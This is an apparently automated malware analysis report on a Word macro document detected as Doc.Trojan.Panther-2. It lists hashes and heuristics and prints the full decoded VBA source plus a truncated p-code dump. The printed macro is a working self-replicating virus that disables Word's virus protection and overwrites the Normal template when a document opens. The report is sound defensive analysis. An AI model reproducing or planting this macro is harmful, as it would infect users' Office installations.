Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c6ed865de6180ad8…

MALICIOUS

Office (OLE)

27.0 KB Created: 2001-01-26 10:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 35055292581c327ff572b76d0f60c4ba SHA-1: d3cd13bff712b38f0590fa1c0ad42e18abc842fe SHA-256: c6ed865de6180ad8282fdbc1edc08febcc136fa188e9de2e101e90ea83fe6e05
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Document_Open macro is present and attempts to modify template code, a common technique for malware to establish persistence or download additional stages. The ClamAV detection 'Doc.Trojan.Panther-2' further supports its malicious nature. The macro's obfuscation and modification of template code suggest it's a downloader or dropper.

Heuristics 3

  • ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Panther-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4492 bytes
SHA-256: d8d076c6fe4411c31abcf57a4a0cd1ee8a0a6b83d9c47f105494ef16cc147934
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()

End Sub

Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
       End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

' Processing file: /opt/analyzer/scan_staging/a30dfe5197ef4b0ba94daa9ed683fab5.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3047 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_New())
' Line #1:
' Line #2:
' 	EndSub 
' Line #3:
' Line #4:
' 	FuncDefn (Private Sub Document_Open())
' Line #5:
' 	Dim 
' 	VarDefn code (As String)
' Line #6:
' 	Ld NormalTemplate 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	IfBlock 
' Line #7:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #8:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #9:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St code 
' Line #10:
' 	Ld code 
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #11:
' 	Ld code 
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #12:
' 	Ld code 
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #13:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #14:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #15:
' 	Ld code 
' 	ArgsMemCallWith AddFromString 0x0001 
' Line #16:
' 	EndWith 
' Line #17:
' 	EndWith 
' Line #18:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	EndSub 
' Line #21:
' 	FuncDefn (Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String))
' Line #22:
' 	Dim 
' 	VarDefn index (As Long)
' 	VarDefn pre (As String)
' 	VarDefn post (As String)
' 	VarDefn preLen (As Long)
' Line #23:
' Line #24:
' 	Ld prepre 
' 	Ld prepost 
' 	Add 
' 	St pre 
' Line #25:
' 	Ld postpre 
' 	Ld postpost 
' 	Add 
' 	St post 
' Line #26:
' Line #27:
' 	LitDI2 0x0001 
' 	St index 
' Line #28:
' 	Ld pre 
' 	FnLen 
' 	St preLen 
' Line #29:
' Line #30:
' 	Ld index 
' 	Ld target 
' 	Ld pre 
' 	FnInStr3 
' 	LitDI2 0x0000 
' 	Ne 
' 	W
... (truncated)

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